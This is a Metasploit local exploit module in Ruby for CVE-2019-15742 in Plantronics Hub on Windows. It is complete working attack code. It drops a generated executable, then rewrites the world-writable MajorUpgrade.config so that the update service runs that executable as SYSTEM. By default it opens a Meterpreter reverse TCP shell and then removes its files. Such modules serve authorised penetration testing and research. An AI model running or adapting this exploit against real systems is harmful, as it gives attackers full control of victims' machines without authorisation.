##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
      'Description'    => %q{
        The Plantronics Hub client application for Windows makes use of an
        automatic update service `SpokesUpdateService.exe` which automatically
        executes a file specified in the `MajorUpgrade.config` configuration
        file as SYSTEM. The configuration file is writable by all users by default.

        This module has been tested successfully on Plantronics Hub version 3.13.2
        on Windows 7 SP1 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Markus Krell', # Discovery and PoC
        'bcoles'        # Metasploit
      ],
      'References'     =>
        [
          ['CVE', '2019-15742'],
          ['EDB', '47845'],
          ['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']
        ],
      'Platform'       => ['win'],
      'SessionTypes'   => ['meterpreter'],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => '2019-08-30',
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
        },
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 0))
    register_advanced_options [
      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
    ]
  end

  def base_dir
    datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end

  def check
    service = 'PlantronicsUpdateService'

    unless service_exists? service
      return CheckCode::Safe("Service '#{service}' does not exist")
    end

    path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G"

    unless exists? path
      return CheckCode::Safe("Directory '#{path}' does not exist")
    end

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_system?
      fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
    end

    payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
    payload_exe = generate_payload_exe
    vprint_status "Writing payload to #{payload_path} ..."
    write_file payload_path, payload_exe
    register_file_for_cleanup payload_path

    config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config"
    vprint_status "Writing configuration file to #{config_path} ..."
    write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"
    register_file_for_cleanup config_path
  end
end
